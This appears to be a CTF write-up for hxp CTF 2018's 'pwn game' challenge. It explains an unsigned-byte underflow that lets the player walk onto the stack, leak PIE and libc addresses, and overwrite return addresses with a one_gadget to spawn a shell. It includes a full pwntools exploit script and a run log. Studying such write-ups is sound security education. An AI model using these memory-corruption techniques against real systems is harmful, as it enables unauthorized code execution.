hxp CTF 2018 - pwn game

Connect to the game and play… or pwn… or both! Instructions for the game can be found in the game itself.

Download: pwn game-fd561b730951afff.tar.xz

Connection: stty -icanon min 1 time 0 && nc 195.201.127.177 9999

Attachment: challenge challenge.c libc-2.24.so xpl.py

╔══════════════════════════════╗
║:O 52 51 54 54 53 50 54 52 52 ║
║51 52 53 52 53 51 50 50 53 50 ║
║52 50 52 52 51 51 54 52 51 51 ║
║50 54 54 53 54 50 52 50 53 53 ║
║53 53 52 54 54 51 51 54 53 54 ║
║50 51 50 52 52 Oo 50 52 54 52 ║
║51 50 52 53 53 52 51 54 53 51 ║
║52 51 53 51 54 50 54 54 51 51 ║
║54 52 52 51 50 51 53 53 54 54 ║
║51 51 50 52 50 51 52 50 54 54 ║
╚══════════════════════════════╝
Lifes: ooo      Score: 500     Position: (5, 5)
CURRENT CELL: 53 -> 50
================== CONTROLS: ===================
<w/a/s/d>: MOVE         <q>: QUIT
<+/->: INC/DEC 1        <1/2>: INC/DEC 0x10
<r>: SHOW REAL FIELD    <t>: SHOW TARGET FIELD
<h>: TOGGLE HEADLESS    <f>: RENDER SINGLE IMAGE

This challenge introduced a game, where you could change cell values, while a monster is chasing you around the gamefield :)

For “winning” this, you’d have to match all values with some random target values, but well, winning this game would lead us nowhere near a flag, so we have to find a way to do something out of the ordinary.

So first, let’s take a look at the source code, hxp provided…

struct player {
  uint8_t prev_render_pos_x;
  uint8_t prev_render_pos_y;
  uint8_t pos_x;
  uint8_t pos_y;
  uint64_t score;
  uint8_t lifes;
  int8_t dx;
  int8_t dy;
};

The game will hold the information about the current position (and other stuff) in this struct. Should be noted, that uint8_t is used for both x and y values.

Whenever the player executes an action, like moving or changing cell values, the monster will also update its action. It has a cooldown, so it always pauses for three steps and then moves towards the player direction. If it hits you, you will be knocked back on cell and lose one life.

Well, we have a game field on the stack… A monster knocking us back one cell… There should be a way to abuse this, to get outside of the game field.

void damage_and_knock_back(struct enemy* e, struct player* p)
{
  if((e->pos_x == p->pos_x) && (e->pos_y == p->pos_y))
  {
    p->lifes--;

    if(e->dx > 0 && p->pos_x + 1 < X_MAX)
      p->pos_x++;
    else if(e->dx < 0 && p->pos_x - 1 >= X_MIN)     
      p->pos_x--;
    if(e->dy > 0 && p->pos_y + 1 < Y_MAX)
      p->pos_y++;
    else if(e->dy < 0 && p->pos_y - 1 >= Y_MIN)      
      p->pos_y--;                     
  }
}

On a first glance, everything seems fine. It will check, if a knockback would put us outside of X_MIN, X_MAX, Y_MIN, Y_MAX and only move the player, if its new position will still be in boundaries.

else if(e->dy < 0 && p->pos_y - 1 >= Y_MIN)      
      p->pos_y--;

Well, except that the player position x and y values are stored as uint_8, which means they are susceptible for an underflow.

If the player is on y = 0 and the monster would hit us from below, p->pos_y - 1 will evaluate to 0 - 1, which will wrap around uint_8 and become 255, which is bigger than Y_MIN. So, this will lead to an y position of 255 and we’ll be out of the gamefield. By this, we’ll get put way behind the game field and can walk through the stack (between the current gamefield and gamefield+(255*10)).

With the ability to walk around on the stack, still seeing CURRENT CELL values and the possibility to modify current cell values, we can for one leak arbitrary stack values and also modify them.

Though… The monster will still be chasing us, which makes the whole procedere a little bit troublesome. But first, let’s get a starter script to get into the initial exploit stage by walking outside of the game field.

In the original exploit, I obviously didn’t track current monster position, but just tried to get it right. For the writeup, I decided to clean this up a bit and use proper move functions, which will also update all game informations, so we always know, where the monster is currently located and more important its distance to the player (this will come in handy later on).

#!/usr/bin/python
from pwn import *
import sys, math

LOCAL = True

HOST = "195.201.127.177"
PORT = 9999

# Player information
PLAYER_X = -1
PLAYER_Y = -1
CURRENT = -1
DEST = -1

# Monster information
ENEMY_X = 0
ENEMY_Y = 0
ENEMY_COOLDOWN = 5
ENEMY_DISTANCE = 0

"""
Recalculate new monster position and distance to player.
"""
def move_enemy():
  global PLAYER_X, PLAYER_Y, ENEMY_X, ENEMY_Y, ENEMY_COOLDOWN, ENEMY_DISTANCE

  if ENEMY_COOLDOWN < 3:    
    # Calculate new monster pos and distance
    EDX = (PLAYER_X - ENEMY_X) 
    EDY = (PLAYER_Y - ENEMY_Y) 

    ENEMY_X += 1 if EDX > 0 else -1
    ENEMY_Y += 1 if EDY > 0 else -1

    ENEMY_DISTANCE = math.sqrt((EDX*EDX) + (EDY*EDY))

  if ENEMY_COOLDOWN == 0:
    ENEMY_COOLDOWN = 6

  ENEMY_COOLDOWN -= 1

"""
Move player in specified direction and update monster info.
"""
def move(direction):
  global PLAYER_X, PLAYER_Y

  r.sendline(direction)

  if direction == "w":
    PLAYER_Y -= 1
  elif direction == "s":
    PLAYER_Y += 1
  elif direction == "a":
    PLAYER_X -= 1
  elif direction == "d":
    PLAYER_X += 1

  move_enemy()
  
"""
Parse current game state.
"""
def parse_screen():
  global ENEMY_X, ENEMY_Y, PLAYER_X, PLAYER_Y, CURRENT, DEST, ENEMY_DISTANCE

  r.sendline("f")

  r.recvuntil("Position: (")
  PLAYER_X = int(r.recvuntil(", ", drop=True))
  PLAYER_Y = int(r.recvuntil(")", drop=True))

  r.recvuntil("CURRENT CELL: ")
  r.recv(5)
  CURRENT = int("0x"+r.recvuntil(" ", drop=True), 16)

  r.recvuntil(" ")
  DEST = int("0x"+r.recvuntil("\n", drop=True), 16)

  log.info("PLAYER_X: %d / PLAYER_Y: %d / ENEMY_X: %d / ENEMY_Y: %d / ENEMY_DISTANCE: %d / Cur: %s / Dest: %s" % (PLAYER_X, PLAYER_Y, ENEMY_X, ENEMY_Y, ENEMY_DISTANCE, hex(CURRENT), hex(DEST)))

"""
Enter headless mode.
"""
def go_headless():
  r.recvuntil("HEADLESS...\n")
  r.sendline("h")
  parse_screen()
  
"""
Initialize exploit by moving out of gamefield.
"""
def init_exploit_state():
  global ENEMY_X, ENEMY_Y

  log.info("Starting game, go out of bounds")

  for i in range(11):
    move("d")   

  for i in range(11):
    move("w")

  move("w")
  
  ENEMY_X = 9
  ENEMY_Y = 255

  parse_screen()
  
def exploit(r):
  global PIELEAK

  go_headless() 

  init_exploit_state()  

  r.interactive()
  
  return

if __name__ == "__main__":
  e = ELF("./challenge")
  libc = ELF("./libc-2.24.so")

  if len(sys.argv) > 1:
    LOCAL = False
    r = remote(HOST, PORT)
    exploit(r)
  else:
    LOCAL = True
    r = process("./challenge", env={"LD_PRELOAD" : "./libc-2.24.so"})
    print util.proc.pidof(r)
    pause()
    exploit(r)

So, by now, we’ll just walk to 9 / 0 and walk into the wall until the monster catches up (from below) and kicks us out of the gamefield.

╔══════════════════════════════╗
║53 52 51 54 54 53 50 54 52 52 ║
║51 52 53 52 53 51 50 50 53 50 ║
║52 50 52 52 51 51 54 52 51 51 ║
║50 54 54 53 54 50 52 50 53 53 ║
║53 53 52 54 54 51 51 54 53 54 ║
║50 51 50 52 52 53 50 52 54 52 ║
║51 50 52 53 53 52 51 54 53 51 ║
║52 51 53 51 54 50 54 54 51 51 ║
║54 52 52 51 50 51 53 53 54 54 ║
║51 51 50 52 50 51 52 50 54 54 ║
╚══════════════════════════════╝
Lifes: oo       Score: 477     Position: (9, 254)
CURRENT CELL: 00 -> 00
================== CONTROLS: ===================
<w/a/s/d>: MOVE         <q>: QUIT
<+/->: INC/DEC 1        <1/2>: INC/DEC 0x10
<r>: SHOW REAL FIELD    <t>: SHOW TARGET FIELD
<h>: TOGGLE HEADLESS    <f>: RENDER SINGLE IMAGE








                            Oo                       <= Player out of bounds :)

From here we can walk left, right and up. Since y is now > Y_MAX, no down movement is possible anymore, but we won’t need that anyways. Since we deal with PIE and ASLR, it’s time now to leak some addresses.

For the sake of simplicity, let’s just think about non ASLR addresses here, since everything in the binary will be calculated in offsets to the game field anyways.

On my machine, the real game field started at 0x7fffffffe440, so we can calculate the needed x, y offsets based on the distance from this address.

# Non ASLR address used for easier calculating offsets
REAL_FIELD = 0x7fffffffe440

"""
Move player to specific x/y coordinates.
"""
def goto_xy(dest_x, dest_y):
  global PLAYER_X, PLAYER_Y

  while (dest_y != PLAYER_Y):
    if (dest_y < PLAYER_Y):   
      move("w")
    elif (dest_y > PLAYER_Y):
      move("s")

  while (dest_x != PLAYER_X):   
    if (dest_x < PLAYER_X):
      move("a")
    elif (dest_x > PLAYER_X):
      move("d")

"""
Move player to start of specific address on stack.
"""
def goto_address(address):
  # calculate dest PLAYER_X/PLAYER_Y  
  dest_x = (address - REAL_FIELD) % 10
  dest_y = (address - REAL_FIELD) / 10

  log.info("Goto address %s : %d / %d" % (hex(address), dest_x, dest_y))

  goto_xy(dest_x, dest_y)

Now, let’s take a look at the stack, to get an idea, where we want to move and leak

gdb-peda$ x/60gx 0x7fffffffe440-0x40
0x7fffffffe400: 0x0000000000000000  0x00010a0000000000
0x7fffffffe410: 0xfe00ff09ff090000  0x00007fffffffe440
0x7fffffffe420: 0x00000000fe09fe09  0x00000000000001dd <= Player struct
0x7fffffffe430: 0x0000000000000002  0x0000000000000000
0x7fffffffe440: 0x5450535454515253  0x5153525352515252 <= Real gamefield starts
0x7fffffffe450: 0x5252505250535050  0x5450515152545151
0x7fffffffe460: 0x5353505250545354  0x5451515454525353
0x7fffffffe470: 0x5352525051505453  0x5352505152545250
0x7fffffffe480: 0x5152515354515253  0x5151545450545153
0x7fffffffe490: 0x5353515051525254  0x5150525051515454
0x7fffffffe4a0: 0x00007fff54545052  0x00007ffff7dd0440 <= ___ / _IO_file_jumps
0x7fffffffe4b0: 0x5454505352505250  0x5451515451505452 <= Target gamefield starts
0x7fffffffe4c0: 0x5251515452515453  0x5053505252545152
0x7fffffffe4d0: 0x5353515353545352  0x5351535351525152
0x7fffffffe4e0: 0x5054505151515350  0x5151505253525150
0x7fffffffe4f0: 0x5452535452535150  0x5151505051535350
0x7fffffffe500: 0x5454515354545452  0x5050545254525353
0x7fffffffe510: 0x00007fff54505154  0x549f458419fe0c00
0x7fffffffe520: 0x00007fffffffed70  0x00005555555565e0 <= ___ / main_loop return address
0x7fffffffe530: 0x00007fffffffee58  0x0000000100000000

So, there’s the return address of main_loop at 0x7fffffffe528, which we can use for leaking PIE and calculating the real base address. And we have a nice (stable) libc address at 0x7fffffffe4a8 (_IO_file_jumps), with which we can calculate libc base.

One catch though, we can only move upwards… Thus after reading those two addresses, we’d ultimately fail, since we only have 1 life left and it will be game over, if the monster hits us another time.

Easy way out… While leaking the main_loop return address, modify it also and let it point back to call main_loop :

gdb-peda$ x/10i 0x00005555555565db
0x5555555565db <main+299>: call   0x5555555560c0 <main_loop>
0x5555555565e0 <main+304>: mov    QWORD PTR [rbp-0x828],rax

Since the call is extremely near to the current return address, we can just fix it by reducing the cell value at 0x7fffffffe528 5 times. If we quit the game after that, it will just call main_loop again, giving us another try :)

So, let’s do the leaking part

"""
Parse address at current position.
"""
def parse_qword():
  r1 = ""
  
  for i in range(6):
    parse_screen()
    r1 += chr(CURRENT)    
    move("d")

  parse_screen()
  return u64(r1.ljust(8, "\x00"))

"""
Read value at specific address.
"""
def read_address(address):
  goto_address(address) 
  return parse_qword()

def exploit(r):
  ...

  log.info("Leak PIE")

  PIELEAK = read_address(0x7fffffffe528)
  e.address = PIELEAK - 0x25e0
  
  log.info("PIE leak          : %s" % hex(PIELEAK))
  log.info("PIE base          : %s" % hex(e.address))

  ...

Just moving the player to the appropriate offset and then read byte per byte by parsing the game screen and reading current cell value.

While we’re at that address, we can fix up the return address, by just decrementing the LSB of the return address 5 times. I’ll skip that part for now, since the following writes will be more complicated, but we can reuse that functionality also to do this overwrite.

log.info("Overwrite main_loop ret for another round")
change_address(0x7fffffffe528, PIELEAK, PIELEAK-5)

log.info("Leak libc")

LIBCLEAK = read_address(0x7fffffffe4a8)
libc.address = LIBCLEAK - 0x396440

log.info("LIBC leak         : %s" % hex(LIBCLEAK))

By now, we have the PIE and LIBC leak and have overwritten main_loop return address to just call main_loop again. Since we cannot do anything useful anymore in the current game state, we’ll just quit the current game, triggering main_loop again with a clean game state.

log.info("Quit to return to initial state")
  
r.sendline("q")
parse_screen()
init_exploit_state()

Ok, we’re back in our initial oob position, but this time, we know some leaks. Though we can loop the game by making small modifications to the main_loop return address, we won’t be able to do a complete libc address write. The monster will just catch up, while we’re at it, resulting in a game over or segfault…

But since we can always do the loop overwrite to continue playing after quitting, we can target the return address of main instead and keep replaying, until we have successfully written a complete arbitrary address to it, and then quit the game completely.

The end of main is also a good target since rax will be 0x0 at that point, which will fulfill this one_gadget:

0x3f306 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

At this point, modifying the libc address will get a little bite more complicated, since we need to do so many increases/decreases, that the monster will definitely catch up.

It was around 02:00 AM, when I went haywire because of this and started a huge copy/paste mess, modifying a byte, overwriting main loop, running back to the current address on and on and on. It looked really awful (though it ultimately worked and spit out the flag).

Let’s try to improve it a bit this time:

def exploit(r):
  ...

  log.info("Play until main return address is overwritten with one_gadget")

  CURRENT_MAIN_RET = libc.address + 0x202e1
  ONE_GADGET = libc.address + 0x3f306

  change_address(0x7fffffffed78, CURRENT_MAIN_RET, ONE_GADGET)

  log.info("Main return address successfully overwritten. Quit to trigger shell...")

  r.sendline("q")

  r.recvuntil("EXIT!\n")
  r.interactive()

Since we have the leaks, we know the current value of the return address, and we also know the value, we would like to have it instead. Thus it’s just a matter of walking to main return address, modifying its bytes, until the monster gets too close.

We’ll then run away to main_loop return address, modify it back to call main_loop and quit, which will save us from getting caught :)

Get back into initial exploit stage… Rinse and repeat until main return address matches our desired address.

"""
Change value of current cell.
"""
def change_value(value):  
  if value == -0x10:
    r.sendline("2")
  elif value == 0x10:
    r.sendline("1")
  elif value == -0x1:
    r.sendline("-")
  elif value == 0x1:
    r.sendline("+")

  move_enemy()

"""
Change specified address from source value to destination value.
This will observe monster position and if the monster comes near
it will cancel current write and restart the game. On restart it
will walk back to the current address and continue the overwrite
until the destination value was completely written.
"""
def change_address(address, src_value, dest_value):
  global ENEMY_DISTANCE, PIELEAK

  log.info("Change address %s : %s => %s" % (hex(address), hex(src_value), hex(dest_value)))

  goto_address(address)

  cur_offset = 0

  for i in range(8):
    cur_byte = (src_value >> (i*8)) & 0xff
    dest_byte = (dest_value >> (i*8)) & 0xff

    # only move if we have something to do for this byte
    if cur_byte != dest_byte:     
      while cur_offset < i:
        move("d") 
        cur_offset += 1
    
    while cur_byte != dest_byte:  
      log.info("Change byte at %s : %s => %s" % (hex(address+cur_offset), hex(cur_byte), hex(dest_byte)))

      # try to modify the current byte until monster gets too close
      while (cur_byte >= dest_byte + 0x10) and (ENEMY_DISTANCE > 3):
        change_value(-0x10)
        cur_byte -= 0x10
      while (cur_byte > dest_byte) and (ENEMY_DISTANCE > 3):
        change_value(-0x1)
        cur_byte -= 0x1
      while (cur_byte <= dest_byte - 0x10) and (ENEMY_DISTANCE > 3):
        change_value(0x10)
        cur_byte += 0x10
      while (cur_byte < dest_byte) and (ENEMY_DISTANCE > 3):
        change_value(0x1)
        cur_byte += 0x1

      parse_screen()

      # check, if we had to cancel because of monster getting close
      if cur_byte != dest_byte:
        # overwrite main_loop return with call to main_loop and quit
        log.info("Cancel address write and replay")

        change_address(0x7fffffffe528, PIELEAK, PIELEAK-5)

        # quit and replay until we reach current address again and continue with overwrite
        r.sendline("q")
        parse_screen()
        init_exploit_state()

        goto_address(address+cur_offset)

And there we are, main return address should now nicely point to one_gadget and all that’s left to do for us, is to quit without modifying main_loop return address, so it will jump back into main again, which will finally trigger a shell.

$ python xpl.py 1
[*] '/ctf/hxp/game/pwn game/challenge'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/ctf/hxp/game/pwn game/libc-2.24.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 195.201.127.177 on port 9999: Done
[*] PLAYER_X: 5 / PLAYER_Y: 5 / ENEMY_X: 0 / ENEMY_Y: 0 / ENEMY_DISTANCE: 0 / Cur: 0x53 / Dest: 0x50
[*] Starting game, go out of bounds
[*] PLAYER_X: 9 / PLAYER_Y: 254 / ENEMY_X: 9 / ENEMY_Y: 255 / ENEMY_DISTANCE: 9 / Cur: 0x0 / Dest: 0x0
[*] Leak PIE
[*] Goto address 0x7fffffffe528 : 2 / 23
[*] PLAYER_X: 2 / PLAYER_Y: 23 / ENEMY_X: 5 / ENEMY_Y: 137 / ENEMY_DISTANCE: 115 / Cur: 0xe0 / Dest: 0x1
[*] PLAYER_X: 3 / PLAYER_Y: 23 / ENEMY_X: 4 / ENEMY_Y: 136 / ENEMY_DISTANCE: 114 / Cur: 0x65 / Dest: 0x0
[*] PLAYER_X: 4 / PLAYER_Y: 23 / ENEMY_X: 3 / ENEMY_Y: 135 / ENEMY_DISTANCE: 113 / Cur: 0xaa / Dest: 0x0
[*] PLAYER_X: 5 / PLAYER_Y: 23 / ENEMY_X: 4 / ENEMY_Y: 134 / ENEMY_DISTANCE: 112 / Cur: 0xaa / Dest: 0x0
[*] PLAYER_X: 6 / PLAYER_Y: 23 / ENEMY_X: 4 / ENEMY_Y: 134 / ENEMY_DISTANCE: 112 / Cur: 0xb7 / Dest: 0x5
[*] PLAYER_X: 7 / PLAYER_Y: 23 / ENEMY_X: 4 / ENEMY_Y: 134 / ENEMY_DISTANCE: 112 / Cur: 0x55 / Dest: 0x0
[*] PLAYER_X: 8 / PLAYER_Y: 23 / ENEMY_X: 4 / ENEMY_Y: 134 / ENEMY_DISTANCE: 112 / Cur: 0x0 / Dest: 0x0
[*] PIE leak          : 0x55b7aaaa65e0
[*] PIE base          : 0x55b7aaaa4000
[*] Overwrite main_loop ret for another round
[*] Change address 0x7fffffffe528 : 0x55b7aaaa65e0 => 0x55b7aaaa65db
[*] Goto address 0x7fffffffe528 : 2 / 23
[*] Change byte at 0x7fffffffe528 : 0xe0 => 0xdb
[*] PLAYER_X: 2 / PLAYER_Y: 23 / ENEMY_X: 2 / ENEMY_Y: 128 / ENEMY_DISTANCE: 106 / Cur: 0xdb / Dest: 0x1
[*] Leak libc
[*] Goto address 0x7fffffffe4a8 : 4 / 10
[*] PLAYER_X: 4 / PLAYER_Y: 10 / ENEMY_X: 4 / ENEMY_Y: 120 / ENEMY_DISTANCE: 111 / Cur: 0x40 / Dest: 0x0
[*] PLAYER_X: 5 / PLAYER_Y: 10 / ENEMY_X: 5 / ENEMY_Y: 119 / ENEMY_DISTANCE: 110 / Cur: 0xc4 / Dest: 0x9f
[*] PLAYER_X: 6 / PLAYER_Y: 10 / ENEMY_X: 5 / ENEMY_Y: 119 / ENEMY_DISTANCE: 110 / Cur: 0xb5 / Dest: 0xb0
[*] PLAYER_X: 7 / PLAYER_Y: 10 / ENEMY_X: 5 / ENEMY_Y: 119 / ENEMY_DISTANCE: 110 / Cur: 0x8 / Dest: 0x4d
[*] PLAYER_X: 8 / PLAYER_Y: 10 / ENEMY_X: 5 / ENEMY_Y: 119 / ENEMY_DISTANCE: 110 / Cur: 0xa4 / Dest: 0xfc
[*] PLAYER_X: 9 / PLAYER_Y: 10 / ENEMY_X: 6 / ENEMY_Y: 118 / ENEMY_DISTANCE: 109 / Cur: 0x7f / Dest: 0xba
[*] PLAYER_X: 9 / PLAYER_Y: 10 / ENEMY_X: 7 / ENEMY_Y: 117 / ENEMY_DISTANCE: 108 / Cur: 0x7f / Dest: 0xba
[*] LIBC leak         : 0x7fa408b5c440
[*] Quit to return to initial state
[*] PLAYER_X: 5 / PLAYER_Y: 5 / ENEMY_X: 7 / ENEMY_Y: 117 / ENEMY_DISTANCE: 108 / Cur: 0x53 / Dest: 0x50
[*] Starting game, go out of bounds
[*] PLAYER_X: 9 / PLAYER_Y: 254 / ENEMY_X: 9 / ENEMY_Y: 255 / ENEMY_DISTANCE: 114 / Cur: 0x0 / Dest: 0x0
[*] Play until main return address is overwritten with one_gadget
[*] Change address 0x7fffffffed78 : 0x7fa4087e62e1 => 0x7fa408805306
[*] Goto address 0x7fffffffed78 : 0 / 236
[*] Change byte at 0x7fffffffed78 : 0xe1 => 0x6
[*] PLAYER_X: 0 / PLAYER_Y: 236 / ENEMY_X: -1 / ENEMY_Y: 237 / ENEMY_DISTANCE: 2 / Cur: 0x51 / Dest: 0x0
[*] Cancel address write and replay
[*] Change address 0x7fffffffe528 : 0x55b7aaaa65e0 => 0x55b7aaaa65db
[*] Goto address 0x7fffffffe528 : 2 / 23
[*] Change byte at 0x7fffffffe528 : 0xe0 => 0xdb
[*] PLAYER_X: 2 / PLAYER_Y: 23 / ENEMY_X: 1 / ENEMY_Y: 127 / ENEMY_DISTANCE: 105 / Cur: 0xdb / Dest: 0x1
[*] PLAYER_X: 5 / PLAYER_Y: 5 / ENEMY_X: 1 / ENEMY_Y: 127 / ENEMY_DISTANCE: 105 / Cur: 0x53 / Dest: 0x50
[*] Starting game, go out of bounds
[*] PLAYER_X: 9 / PLAYER_Y: 254 / ENEMY_X: 9 / ENEMY_Y: 255 / ENEMY_DISTANCE: 122 / Cur: 0x0 / Dest: 0x0
[*] Goto address 0x7fffffffed78 : 0 / 236
[*] Change byte at 0x7fffffffed78 : 0x51 => 0x6
[*] PLAYER_X: 0 / PLAYER_Y: 236 / ENEMY_X: -1 / ENEMY_Y: 237 / ENEMY_DISTANCE: 2 / Cur: 0xd / Dest: 0x0
[*] Cancel address write and replay
[*] Change address 0x7fffffffe528 : 0x55b7aaaa65e0 => 0x55b7aaaa65db
[*] Goto address 0x7fffffffe528 : 2 / 23
[*] Change byte at 0x7fffffffe528 : 0xe0 => 0xdb
[*] PLAYER_X: 2 / PLAYER_Y: 23 / ENEMY_X: 2 / ENEMY_Y: 128 / ENEMY_DISTANCE: 106 / Cur: 0xdb / Dest: 0x54
[*] PLAYER_X: 5 / PLAYER_Y: 5 / ENEMY_X: 2 / ENEMY_Y: 128 / ENEMY_DISTANCE: 106 / Cur: 0x53 / Dest: 0x50
[*] Starting game, go out of bounds
[*] PLAYER_X: 9 / PLAYER_Y: 254 / ENEMY_X: 9 / ENEMY_Y: 255 / ENEMY_DISTANCE: 122 / Cur: 0x0 / Dest: 0x0
[*] Goto address 0x7fffffffed78 : 0 / 236
[*] Change byte at 0x7fffffffed78 : 0xd => 0x6
[*] PLAYER_X: 0 / PLAYER_Y: 236 / ENEMY_X: -1 / ENEMY_Y: 237 / ENEMY_DISTANCE: 2 / Cur: 0x7 / Dest: 0x0
[*] Cancel address write and replay
[*] Change address 0x7fffffffe528 : 0x55b7aaaa65e0 => 0x55b7aaaa65db
[*] Goto address 0x7fffffffe528 : 2 / 23
[*] Change byte at 0x7fffffffe528 : 0xe0 => 0xdb
[*] PLAYER_X: 2 / PLAYER_Y: 23 / ENEMY_X: 2 / ENEMY_Y: 128 / ENEMY_DISTANCE: 106 / Cur: 0xdb / Dest: 0x45
[*] PLAYER_X: 5 / PLAYER_Y: 5 / ENEMY_X: 2 / ENEMY_Y: 128 / ENEMY_DISTANCE: 106 / Cur: 0x53 / Dest: 0x50
[*] Starting game, go out of bounds
[*] PLAYER_X: 9 / PLAYER_Y: 254 / ENEMY_X: 9 / ENEMY_Y: 255 / ENEMY_DISTANCE: 122 / Cur: 0x0 / Dest: 0x0
[*] Goto address 0x7fffffffed78 : 0 / 236
[*] Change byte at 0x7fffffffed78 : 0x7 => 0x6
[*] PLAYER_X: 0 / PLAYER_Y: 236 / ENEMY_X: 2 / ENEMY_Y: 240 / ENEMY_DISTANCE: 5 / Cur: 0x6 / Dest: 0x0
[*] Change byte at 0x7fffffffed79 : 0x62 => 0x53
[*] PLAYER_X: 1 / PLAYER_Y: 236 / ENEMY_X: 0 / ENEMY_Y: 238 / ENEMY_DISTANCE: 3 / Cur: 0x5f / Dest: 0x0
[*] Cancel address write and replay
[*] Change address 0x7fffffffe528 : 0x55b7aaaa65e0 => 0x55b7aaaa65db
[*] Goto address 0x7fffffffe528 : 2 / 23
[*] Change byte at 0x7fffffffe528 : 0xe0 => 0xdb
[*] PLAYER_X: 2 / PLAYER_Y: 23 / ENEMY_X: 1 / ENEMY_Y: 129 / ENEMY_DISTANCE: 107 / Cur: 0xdb / Dest: 0x45
[*] PLAYER_X: 5 / PLAYER_Y: 5 / ENEMY_X: 1 / ENEMY_Y: 129 / ENEMY_DISTANCE: 107 / Cur: 0x53 / Dest: 0x50
[*] Starting game, go out of bounds
[*] PLAYER_X: 9 / PLAYER_Y: 254 / ENEMY_X: 9 / ENEMY_Y: 255 / ENEMY_DISTANCE: 124 / Cur: 0x0 / Dest: 0x0
[*] Goto address 0x7fffffffed79 : 1 / 236
[*] Change byte at 0x7fffffffed79 : 0x5f => 0x53
[*] PLAYER_X: 1 / PLAYER_Y: 236 / ENEMY_X: 0 / ENEMY_Y: 238 / ENEMY_DISTANCE: 3 / Cur: 0x57 / Dest: 0x0
[*] Cancel address write and replay
[*] Change address 0x7fffffffe528 : 0x55b7aaaa65e0 => 0x55b7aaaa65db
[*] Goto address 0x7fffffffe528 : 2 / 23
[*] Change byte at 0x7fffffffe528 : 0xe0 => 0xdb
[*] PLAYER_X: 2 / PLAYER_Y: 23 / ENEMY_X: 1 / ENEMY_Y: 129 / ENEMY_DISTANCE: 107 / Cur: 0xdb / Dest: 0x45
[*] PLAYER_X: 5 / PLAYER_Y: 5 / ENEMY_X: 1 / ENEMY_Y: 129 / ENEMY_DISTANCE: 107 / Cur: 0x53 / Dest: 0x50
[*] Starting game, go out of bounds
[*] PLAYER_X: 9 / PLAYER_Y: 254 / ENEMY_X: 9 / ENEMY_Y: 255 / ENEMY_DISTANCE: 124 / Cur: 0x0 / Dest: 0x0
[*] Goto address 0x7fffffffed79 : 1 / 236
[*] Change byte at 0x7fffffffed79 : 0x57 => 0x53
[*] PLAYER_X: 1 / PLAYER_Y: 236 / ENEMY_X: 2 / ENEMY_Y: 240 / ENEMY_DISTANCE: 5 / Cur: 0x53 / Dest: 0x0
[*] Change byte at 0x7fffffffed7a : 0x7e => 0x80
[*] PLAYER_X: 2 / PLAYER_Y: 236 / ENEMY_X: 1 / ENEMY_Y: 239 / ENEMY_DISTANCE: 4 / Cur: 0x80 / Dest: 0x0
[*] Main return address successfully overwritten. Quit to trigger shell...
[*] Switching to interactive mode

$ cat flag.txt
hxp{(X+1<Y)!=(X<Y-1)}